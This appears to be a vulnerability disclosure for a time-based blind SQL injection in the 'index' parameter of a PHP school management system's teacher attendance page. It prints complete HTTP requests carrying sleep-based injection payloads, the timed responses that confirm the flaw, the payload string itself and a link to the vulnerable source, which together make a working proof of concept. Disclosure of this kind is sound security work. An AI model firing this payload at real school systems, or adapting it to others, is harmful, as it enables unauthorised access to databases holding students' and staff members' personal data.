

SQL injection vulnerability exists in index parameter of /view/teacher_attendance_history1.php file of Complete Web-Based School Management System

Important user data or system data may be leaked and system security may be compromised

The environment is secure and the information can be used by malicious users.

Sleep time is 4s:

Request

```
1 GET /std1/view/teacher_attendance_history1.php?index=%2B(select(0)from(select(sleep(4)))v)%2B'month=month&year=year HTTP/1.1
2 Accept: */*
3 X-Requested-With: XMLHttpRequest
4 Referer: http://192.168.31.163/std1
5 Cookie: PHPSESSID=95dng85hgflj1vcqlqqbcm92pd
6 Accept-Encoding: gzip,deflate,br
7 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36
8 Host: 192.168.31.163
9 Connection: Keep-alive
```

Response

```
1 HTTP/1.1 200 OK
2 Server: nginx/1.15.11
3 Date: Thu, 18 Apr 2024 16:44:38 GMT
4 Content-Type: text/html; charset=UTF-8
5 Connection: keep-alive
6 X-Powered-By: PHP/7.3.4
7 Content-Length: 995
8
9 <div class="col-md-12">
10   <div class="box">
11     <div class="box-header">
12
13       <h3 class="box-title">
14         Attendance - year
15       </h3>
16     </div>
17     <!-- /.box-header -->
18     <div class="box-body table-responsive">
19       <div class="row">
20         <div class="col-md-7">
21           <table id="example3" class="table
```

Done 1,184 bytes | 4,074 millis

Sleep time is 12s:

Request

```
1 GET /std1/view/teacher_attendance_history1.php?index=%2B(select(0)from(select(sleep(12)))v)%2B'month=month&year=year HTTP/1.1
2 Accept: */*
3 X-Requested-With: XMLHttpRequest
4 Referer: http://192.168.31.163/std1
5 Cookie: PHPSESSID=95dng85hgflj1vcqlqqbcm92pd
6 Accept-Encoding: gzip,deflate,br
7 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36
8 Host: 192.168.31.163
9 Connection: Keep-alive
```

Response

```
1 HTTP/1.1 200 OK
2 Server: nginx/1.15.11
3 Date: Thu, 18 Apr 2024 16:45:14 GMT
4 Content-Type: text/html; charset=UTF-8
5 Connection: keep-alive
6 X-Powered-By: PHP/7.3.4
7 Content-Length: 995
8
9 <div class="col-md-12">
10   <div class="box">
11     <div class="box-header">
12
13       <h3 class="box-title">
14         Attendance - year
15       </h3>
16     </div>
17     <!-- /.box-header -->
18     <div class="box-body table-responsive">
19       <div class="row">
20         <div class="col-md-7">
21           <table id="example3" class="table
```

Done 1,184 bytes | 12,005 millis

Payload: index='%2B(select(0)from(select(sleep(12)))v)%2B'

Source Download:

<https://www.campcodes.com/projects/php/web-based-school-management-system/>